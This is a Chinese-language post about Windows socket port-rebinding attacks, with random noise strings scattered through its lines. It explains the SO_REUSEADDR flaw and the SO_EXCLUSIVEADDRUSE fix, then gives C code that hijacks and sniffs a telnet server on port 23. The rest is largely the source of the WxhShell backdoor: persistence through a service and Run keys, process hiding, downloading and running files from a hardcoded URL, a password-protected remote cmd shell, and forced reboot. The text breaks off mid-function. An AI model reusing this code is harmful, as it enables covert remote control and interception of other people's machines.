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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nah?V"
?Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '4'Z
s@Q7F{z saddr.sin_family = AF_INET; h.Qk{v M(C">L]8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); DtANb^ -64lf-< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QM(xMq
?'k_K:_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XUP{]w`.Z sa.H,<; 这意味着什么?意味着可以进行如下的攻击: ](JrEg$K 'Ix@<$~i3F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `CWhjL8^ %,[,mW4l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v< P0f"GH e|k]te 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,V1"Typ#< e=&~6bs1U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ZUS-4'"$ sK#)k\w> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B?BOAH ]Za[]E8MD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zQ+Mu^|u+ D9+qT<ojN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =q VT y`oj\ #include |:C0_`M9 #include ;a?<7LIx #include 0`E G-Hw #include gGP6"|tc4 DWORD WINAPI ClientThread(LPVOID lpParam); \ ITd\)F%N int main() !H\;X`W|~D { AFi_P\X WORD wVersionRequested; K<^p~'f4P DWORD ret; n$2oM5< WSADATA wsaData; "s|P,*Xf BOOL val; K+)3 LR^ SOCKADDR_IN saddr; 6,5h4[eF* SOCKADDR_IN scaddr; o}Grb/LJ
int err; 8y27O SOCKET s; 4w+AOWjd SOCKET sc; S
TWH2_` int caddsize; kl]V_ 7[ HANDLE mt; ,ciX *F" DWORD tid; ?t%{2a<X wVersionRequested = MAKEWORD( 2, 2 ); s~{rC{9X err = WSAStartup( wVersionRequested, &wsaData ); <eXGtD if ( err != 0 ) { bse`Xfg printf("error!WSAStartup failed!\n"); j4;^5
Dy^ return -1; "73*0'm } jSpj6:@B saddr.sin_family = AF_INET; l,J>[Q`< s?HK2b^;D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =0?5hxM d %%K3J<5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }Nr6oUn saddr.sin_port = htons(23); XncX2E4E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z}t;:yhR { MiZ<v/L2 printf("error!socket failed!\n"); ?1L<VL=b return -1; _GkLspSaU } f+9eB val = TRUE; ;t*SG*Vi //SO_REUSEADDR选项就是可以实现端口重绑定的 Gy\]j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (l%?YME { 68j1svz9 printf("error!setsockopt failed!\n"); ,<
g%}P/ return -1; HN7tIz@Frc } PPl o0R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T'}kCnp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |fKT@2( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^# #j
{h7 a]*{!V{$i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9}QIqH\p { z6)N![X ret=GetLastError(); UJ,vE}=_{ printf("error!bind failed!\n"); oaQW~R`_ return -1; f+9WGNpw } E"'u2jEG^ listen(s,2); -Kg.w*\H7/ while(1) aB6/-T+u { J&j5@ caddsize = sizeof(scaddr); EPJ>@A>;D //接受连接请求 `V9bd}M%~; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H<|}pZ if(sc!=INVALID_SOCKET) (-$5YKm { $e+4Kt
, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I=dn]}b#P if(mt==NULL) )Wle
CS_ { qRaPh:Q' printf("Thread Creat Failed!\n"); kxKb}>= break; 2FZT } S!PG7hK2 } rGQD+ d CloseHandle(mt); >TglX t+ } Fm:Ys]( closesocket(s); @U!&XZ]h WSACleanup(); %~:\f#6 return 0; h[u@UGK% } WyOav6/*K^ DWORD WINAPI ClientThread(LPVOID lpParam) 1n<4yfJ { 8o+:|V~X SOCKET ss = (SOCKET)lpParam; hdWV vN SOCKET sc; K6-)l
isf unsigned char buf[4096]; 0rL.~2)V SOCKADDR_IN saddr; 6am6'_{ long num; JkN*hm? DWORD val; r-YJ$/J DWORD ret; 7vXP|8j //如果是隐藏端口应用的话,可以在此处加一些判断 T%oJmp?0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 -ysNo4#e& saddr.sin_family = AF_INET; H
~3.F saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d BB?A~ saddr.sin_port = htons(23); c/ImK`:)4a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XY{N"S8 { -HGRrWS printf("error!socket failed!\n"); 4
. c1 return -1; }' tJc $! } $}vzBuWHwN val = 100; g4k3~,=D3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y!45Kio { Z$INmo6 ret = GetLastError(); q)9n%- YgP return -1; 2FaCrc/ } fZpi+I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J:"@S%gy% { Q>Klkd5( ret = GetLastError(); /&|p7 return -1; tl /i } Odwf7> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YvN]7tcb { 'k]~Q{K$ printf("error!socket connect failed!\n"); e YP^.U) closesocket(sc); p*5_+u closesocket(ss); 1K#[Ef4 return -1; st* sv} } !&Q?AS JH while(1) r'y Nc&~ { UUDHknm" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kh#QT_y //如果是嗅探内容的话,可以再此处进行内容分析和记录 7w2$?k',- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V-7l+C5 num = recv(ss,buf,4096,0); uvJHkAi if(num>0) tz2=l.1 send(sc,buf,num,0); 7omHorU+ else if(num==0) ),vDn}> break; d)V8FX,t num = recv(sc,buf,4096,0); uWKmINjv' if(num>0) ;<m*ASM.3 send(ss,buf,num,0); "`cN k26JZ else if(num==0) f8[O]MrO; break; ;G} } ,x1OQ jtY closesocket(ss); @@^iN~uf closesocket(sc); _ f";zd return 0 ; 6QA`u* } ^%zhj3# sgi5dQ nK03x YA ========================================================== smfI+Z S" D|Q7dIZm 下边附上一个代码,,WXhSHELL (_4DZMf C{m%]jKH ========================================================== [u!n=ev ?2#'>B #include "stdafx.h" Cp/f18zO 2?
yo #include <stdio.h> Z@dVK`nD #include <string.h> \8$~ i #include <windows.h> ;PC! #include <winsock2.h> "P#1= #include <winsvc.h> izcaWt3 a #include <urlmon.h> r@C~_LgL) 7^#f)Vp #pragma comment (lib, "Ws2_32.lib") pD({"A.x9z #pragma comment (lib, "urlmon.lib") MhCU;
! 9MfU{4:;I #define MAX_USER 100 // 最大客户端连接数 Jn=;gtD-* #define BUF_SOCK 200 // sock buffer 2<B'PR-??y #define KEY_BUFF 255 // 输入 buffer C`t@tgT R+NiIoa #define REBOOT 0 // 重启 So!=uYX #define SHUTDOWN 1 // 关机 5C1EdQ4S0 (o IGp #define DEF_PORT 5000 // 监听端口 |?VJf3A -GFZFi #define REG_LEN 16 // 注册表键长度 ;<Z6Y3>I8 #define SVC_LEN 80 // NT服务名长度 H}kSXKO8!8 >nSt<e // 从dll定义API +Mijio typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ou-UR5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l90"1I A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2rT^OGw6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wjl )yo$z Q*T'tkp // wxhshell配置信息 <skqq+ struct WSCFG { ;x\oY6: int ws_port; // 监听端口 2lsUCQI; char ws_passstr[REG_LEN]; // 口令 Sp X;nH-D int ws_autoins; // 安装标记, 1=yes 0=no aA#79LS char ws_regname[REG_LEN]; // 注册表键名 ~5&4s char ws_svcname[REG_LEN]; // 服务名 1b1Ab
zN char ws_svcdisp[SVC_LEN]; // 服务显示名 Q
>/,QX char ws_svcdesc[SVC_LEN]; // 服务描述信息 seEo)m`d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T%) E!:}v int ws_downexe; // 下载执行标记, 1=yes 0=no {>1FZsR49t char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?v
M9
! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ecs 0iW-, +`GtZnt# }; ,9bnR;f\ %\<b{x# G // default Wxhshell configuration kd^H}k struct WSCFG wscfg={DEF_PORT, B ktRA "xuhuanlingzhe", SdYf^@%}F 1, =${.*,o "Wxhshell",
Qh&Qsyo% "Wxhshell", _|GbU1Hz "WxhShell Service", [-$
Do "Wrsky Windows CmdShell Service", WuUwd#e "Please Input Your Password: ", uRko[W( 1, PX|@D_%Y= " http://www.wrsky.com/wxhshell.exe", @p*)^D6E\ "Wxhshell.exe" u5A?; a }; ;9k>;g3m 9(TGkz(NA // 消息定义模块 IANSpWea? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o0 C&ol_ char *msg_ws_prompt="\n\r? for help\n\r#>"; *
HKu%g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; V#dga5*] char *msg_ws_ext="\n\rExit."; Pt"H_SW~k char *msg_ws_end="\n\rQuit."; 'M >m$cCMZ char *msg_ws_boot="\n\rReboot..."; aq$ hE-{28 char *msg_ws_poff="\n\rShutdown..."; :/|"db&` char *msg_ws_down="\n\rSave to "; RA[j=RxK 4`#Q char *msg_ws_err="\n\rErr!"; uem-fTG char *msg_ws_ok="\n\rOK!"; ).5X NV4g5)D&L char ExeFile[MAX_PATH]; -Ty~lZ)TDT int nUser = 0; !}TsFa HANDLE handles[MAX_USER]; kh0cJE\_^ int OsIsNt; 4uIYX 'vBZh1`p SERVICE_STATUS serviceStatus; $].htm SERVICE_STATUS_HANDLE hServiceStatusHandle; D|9+:Y *(Dmd$|0| // 函数声明 u)0I$Tc" int Install(void); 7_i8'(`` int Uninstall(void); Kb?{^\FiU int DownloadFile(char *sURL, SOCKET wsh); ~'_cBJ
'XD int Boot(int flag); ;yJ:W8U]+; void HideProc(void); ?+d`_/IB int GetOsVer(void); U0_^6zd_ int Wxhshell(SOCKET wsl); 06pvI} void TalkWithClient(void *cs); _Ub
`\ytx int CmdShell(SOCKET sock); !e|\1v'0 int StartFromService(void); !B3TLeh int StartWxhshell(LPSTR lpCmdLine); ls@]%pz.1d H\S)a FY[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g5B TZZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); yU
v
YV-7 4 ThFC // 数据结构和表定义 ~w>h#{RB SERVICE_TABLE_ENTRY DispatchTable[] = 1Nt
&+o { ,Z"<-%3 {wscfg.ws_svcname, NTServiceMain}, EG>?>K_D {NULL, NULL} !?>V^#c }; }S/i3$F0~ 1]7gYNzV" // 自我安装 ]P?<2, int Install(void) |ri)-Bk
, { 9wWBE<}>u char svExeFile[MAX_PATH]; $"kPzo~B_ HKEY key; lME>U_E strcpy(svExeFile,ExeFile); T0w_d_aS lxL5Rit@Px // 如果是win9x系统,修改注册表设为自启动 KG'i#(u[ if(!OsIsNt) { 6TW7E}a. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n[ B~C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 ~v
1 7 RegCloseKey(key); B ?VTIq> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7QsD"rL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @gI1:-chB RegCloseKey(key); fM;,9 return 0; Rg?6e N } 7N9NeSH } /}? 7Eni } !__0Vk[s else { [%P#ieD4 CZ5\Et6r // 如果是NT以上系统,安装为系统服务 %T/@/,7h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K!-OUm5A if (schSCManager!=0) ntW@Fm:bw> { 9|+6@6VY! SC_HANDLE schService = CreateService mOE *[S) ( 3"y 6|e/5 schSCManager, !
xCo{U= wscfg.ws_svcname, z]G|)16
wscfg.ws_svcdisp, s*izhjjX SERVICE_ALL_ACCESS, 0*$w(* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?%s>a8w SERVICE_AUTO_START, x}] 56f SERVICE_ERROR_NORMAL, BN_h3|) svExeFile, |9I)YD NULL, ix3LB!k< NULL, Zl9@E;|= NULL, L)sgW(@2 NULL, [qYr~:` -[ NULL 5> x_G#W ); ffrIi',@ if (schService!=0) {OU|' { 8`q7Yss6F CloseServiceHandle(schService); TekUY m!G CloseServiceHandle(schSCManager); |mb2<! ag{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7j]v_2S` strcat(svExeFile,wscfg.ws_svcname); ~e{ @ 5.g if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 R5pf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `%C -7D'? RegCloseKey(key); j_Szw
w- return 0; NQ9v[gv } kka5=u } ;5Sdx5`_ CloseServiceHandle(schSCManager); @]=40Yj~w } WgtLKRZ\ } $]2)r[eA) Y2H-D{a27 return 1; 1+x"
5<(W } QU).q65p jj5S+ >4 // 自我卸载 G7 %bY int Uninstall(void) gYKz,$ { 2B,O/3y HKEY key; Ed9Uw7 /A=w`[< if(!OsIsNt) { 6%v9o?:~l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -=ZL(r
1 RegDeleteValue(key,wscfg.ws_regname); .G0 N+) RegCloseKey(key); Luq4q95] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a{5SOe;; RegDeleteValue(key,wscfg.ws_regname); #z `W ,^C RegCloseKey(key); ,erw(7}'. return 0; ;5[KZ8j6Y } 1vj/6L } F!omkN } `9~
%6N?7# else { ,WT>"9+ }Z!D?( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )g0fN+Mb if (schSCManager!=0) {0zn~+ { ',+yD9 @ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .|UQ)J?s if (schService!=0) {Cx5m { tdy2ZPVtTV if(DeleteService(schService)!=0) { mDB CloseServiceHandle(schService); V>Wk\'h CloseServiceHandle(schSCManager); \/a6h return 0; {MUB4-@?F$ } r~4uIUE{ CloseServiceHandle(schService); 7u):J } kxn&f(5 CloseServiceHandle(schSCManager); }Mcb\+[ } <wH+\ } T<AT&4 tXD$HeBB? return 1; bzgC+yT } \o9 \ikR )9QtnM // 从指定url下载文件 \;LDE`Q_x int DownloadFile(char *sURL, SOCKET wsh) L4#pMc { *H>rvE.K? HRESULT hr; u;#]eUk9} char seps[]= "/"; \@LTXH. char *token; ^J!q>KJs char *file; bx@l6bpQ char myURL[MAX_PATH]; {T){!UVp! char myFILE[MAX_PATH]; *b~6 B M$ p?@ %/!S strcpy(myURL,sURL); @mp`C}x"0& token=strtok(myURL,seps); je4l3Hl while(token!=NULL) bDI%}k9# { [K!9xM6 file=token; .L'w/"O token=strtok(NULL,seps); M>8J_{r^ } .n-#A $vO&C6m$ GetCurrentDirectory(MAX_PATH,myFILE); {K z,_bo strcat(myFILE, "\\"); 5j%G7.S\ strcat(myFILE, file); ,$P,x send(wsh,myFILE,strlen(myFILE),0); yU? jmJ send(wsh,"...",3,0); ; *
[:~5Wc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r~w.J+W if(hr==S_OK) 39pG-otJ return 0; L*nK>
+ else =bVPHrKNQ return 1; >@ t C@rGa7 } R%E7 |NAG bS.w<V
Ew // 系统电源模块 6%D9;-N) int Boot(int flag) "
qI99e { p{FI_6db HANDLE hToken; Bf_$BCyGW TOKEN_PRIVILEGES tkp; q}1ZuK`6 =W(*0"RM if(OsIsNt) { B5e9'X^
[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p6VD*PT$& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z 6jEj9?O tkp.PrivilegeCount = 1; Mf}M/Fh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i;[y!U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); En5oi if(flag==REBOOT) { K%(y<%Xp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ==[,;g
x return 0; oFY!NMq}: } ;"3B,Yj else { D}-.< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =;}W)V|X)S return 0; 8HF^^Cva } )P$(]{ } 5J5si<v25 else { DE?v'7cmA if(flag==REBOOT) { &W `xZyb3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R>Ra~b return 0; n|`3d~9$& } n ]ikc| else { XtF
m5\U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GK?ual1 return 0; HpwMm^ } }5 o?7}? } 'CLZ7pV (8 nv&| return 1; 8hRcB[F~S } =x~I'|%3 8:cbr/F< // win9x进程隐藏模块 9I/b$$?D void HideProc(void) &&ioGy}1 { UD I{4+z }r}*=;Ea HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J3$>~?^1 if ( hKernel != NULL ) tDByOml8Ix { qsj{0 Go pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p [ O6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !iXRt" ) FreeLibrary(hKernel); \1EuHQ? } b*|~F =Q#I@SVp2$ return; ^:nc'C gP } Ts iJK D0.
)% // 获取操作系统版本 qY_qS=H^ int GetOsVer(void) yzK; { vSzpx OSVERSIONINFO winfo; t0)1;aBZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bMH~vR GetVersionEx(&winfo); y@P%t9l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) De $AJl return 1; "W<Y1$Y=Y else Gvb2>ZN return 0; XN<SKW(H3 } \0$+*ejz Q PH=`s // 客户端句柄模块 A=|XlP$6 int Wxhshell(SOCKET wsl) 3^xUN|.F*V { {I#_0Q,i SOCKET wsh;
J~~\0 u struct sockaddr_in client; 56.!L DWORD myID; 0.GFg${v` z2=bbm: while(nUser<MAX_USER) V>6klA}o { $ {yct int nSize=sizeof(client); =bKDD<( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R|;BO:S1 if(wsh==INVALID_SOCKET) return 1; 1#vy# ' f@*69a8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;p`1Y<d-O if(handles[nUser]==0) 3i^X9[. closesocket(wsh); F%>$WN#2 else -YoL.`s1 nUser++; w,{h9f } 6jE.X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &OR(]Wt0 ;$p !dI\-Q return 0; IUMv{2C } Pwh}hG1sa D:P(; // 关闭 socket qpQ;,8X-" void CloseIt(SOCKET wsh) iO L$| Z( { l{By]S closesocket(wsh); ?d')#WnC nUser--; + NlnK6T/ ExitThread(0); F>;Wbk&[| } U)}]Z@I- )&Ii!tm3 // 客户端请求句柄 w OL,L U void TalkWithClient(void *cs) '|}A/` { *A-_*A U%3N=M SOCKET wsh=(SOCKET)cs; 6v%yU3l char pwd[SVC_LEN]; ^F^g(|(K char cmd[KEY_BUFF]; Q_mphW:[ char chr[1]; -jH|L{Iyq} int i,j; %9-^,og y6(PG:L while (nUser < MAX_USER) { {!,K[QwcI 6<&~R3dQ if(wscfg.ws_passstr) { c3]t"TA, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0R
x#Fm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?kjQ_K //ZeroMemory(pwd,KEY_BUFF); +p u[JHF i=0; $]7f1U_e while(i<SVC_LEN) { Mj0,Y#=76 ZmK=8iN9J // 设置超时 tE*BZXBlm fd_set FdRead; ||+~8z#+, struct timeval TimeOut; 2mLZ4r>WE FD_ZERO(&FdRead); @K;b7@4y FD_SET(wsh,&FdRead); `}X3f#eO& TimeOut.tv_sec=8; @ @[xTyA TimeOut.tv_usec=0; 5xH=w: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "*vrrY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6w.E Sm vCa8`m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3%v)!dTa<^ pwd =chr[0]; Vl.,e1)6 if(chr[0]==0xd || chr[0]==0xa) { :Cq73:1\B pwd=0; NuZ2,<~9 break; Dfs^W{YA } =VC18yA i++; ;lObqs*?> } -wU]L5uP W(q3m;n // 如果是非法用户,关闭 socket 17hoX4T if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZTmy} @l } s'HsLe0| ljFq ;!I5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d/_D|ivZ= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5c- P lm% Dka,v while(1) { C-M_:kQ[U ^'3c%&Zf3 ZeroMemory(cmd,KEY_BUFF); jY6GWsh:9 %QP[/5vQ // 自动支持客户端 telnet标准 *_D/_Rp7 j=0; hHJiGVJ=V while(j<KEY_BUFF) { TzL|{9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0O3O^
0 cmd[j]=chr[0]; XgxE M1( if(chr[0]==0xa || chr[0]==0xd) { 2w|5SK_ cmd[j]=0; gL<n?FG4b break; qu B[S)2} } 5 -i,Tx&: j++; !h?HfpYv } fPeS; *p/,Z2f // 下载文件 bBIh}aDN if(strstr(cmd,"http://")) { G'|ql5Zw send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^\}MG!l if(DownloadFile(cmd,wsh)) |E+.y&0; send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoy Be|H~= else {4_s:+v0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i6Z7O)V } V?XQjH1X else { St5;X&Q wFMH\a switch(cmd[0]) { @CNJpQ ujn pg{VKrT` // 帮助 F
~A$7 case '?': { pRQ7rT',v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TV{GHB!p" break; BTAbDyH5 } 99yWUC, // 安装 3IxC@QR case 'i': { t/|0"\ p if(Install()) gIo\^ktW send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/ \S9 else WI\a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @$
7 GrT break; @=kgK[t
9 } ky2]%cw // 卸载 ~'M<S=W case 'r': { 21TR_0g&< if(Uninstall()) u
X,n[u send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{/%
"2> else O Z
./suR) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eT
b!xb break; Pmv@ } >0HH#JW // 显示 wxhshell 所在路径 luP;P& case 'p': { uV:R3#^ char svExeFile[MAX_PATH];
wra0bS)4 strcpy(svExeFile,"\n\r"); k4Q>J,k strcat(svExeFile,ExeFile); HV%/baX] send(wsh,svExeFile,strlen(svExeFile),0); xPZ>vCg break; ]I|(/+}M } ]bds~OY5 U // 重启 l"ms:v case 'b': { B[8bkFS>] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s{b\\$Rb if(Boot(REBOOT)) Jc":zR@5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9daeIF0# else { GDSV:]hL closesocket(wsh); 8"%Es ExitThread(0); Q6m8N } q|*^{(tWs break; 3(e_2v } [9sEc // 关机 G&S2U=KdV% case 'd': { tV!?Ol send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t:2DB) if(Boot(SHUTDOWN)) $udhTI#, send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44KoOY_ else { N3"Jo uP closesocket(wsh); &
/8Tth86 ExitThread(0); 40?RiwwD } qyM/p.mP break; tWn
dAM(U7 } a&>NuMDI // 获取shell QIiy\E% case 's': { h0<PQZJ CmdShell(wsh); ROFZ*@CH< closesocket(wsh); d,GOP_N8I ExitThread(0); "3^tVX%$\[ break; 9FDu{4: } vRe{B7}p; // 退出 f<8Hvumw case 'x': { 4&W?:=H2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k6C XuU CloseIt(wsh); ;VE y{%nF break; m*m),mZ" } JP8}+ // 离开 Et3I(X3 case 'q': { d?7?tL2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); t5{P'v9J closesocket(wsh); @v2<T1UC WSACleanup(); EHUx~Q
exit(1); { b$"SIg1E break; vH+g*A0S< } TAXsL&Tz> } m,)s8_a } [v~,|N>w J+/}m}bx // 提示信息 Y(Oh7VwY*P if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lp}S'^ y } ujV{AF`JfB } N,TV?Q5l7 R!dC20IMvH return; ,4'gj0 } H*0Y_H= 9rEBq& // shell模块句柄 3y)\dln int CmdShell(SOCKET sock) 2j+w5KvU { C@XS STARTUPINFO si; }xsO^K ZeroMemory(&si,sizeof(si)); vIpL8B86a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6\8d6x> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (fpz",[ PROCESS_INFORMATION ProcessInfo; D;+/bll7 char cmdline[]="cmd"; IQJ"B6U) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [NSslVr return 0; .?{no}u. } f30J8n"k ~A>fB2.pM // 自身启动模式 F
CYGXtc int StartFromService(void) M5no4P< { -+ByK#<% typedef struct j !*,( { [oh06_rB DWORD ExitStatus; _^ENRk@ DWORD PebBaseAddress; @bg9
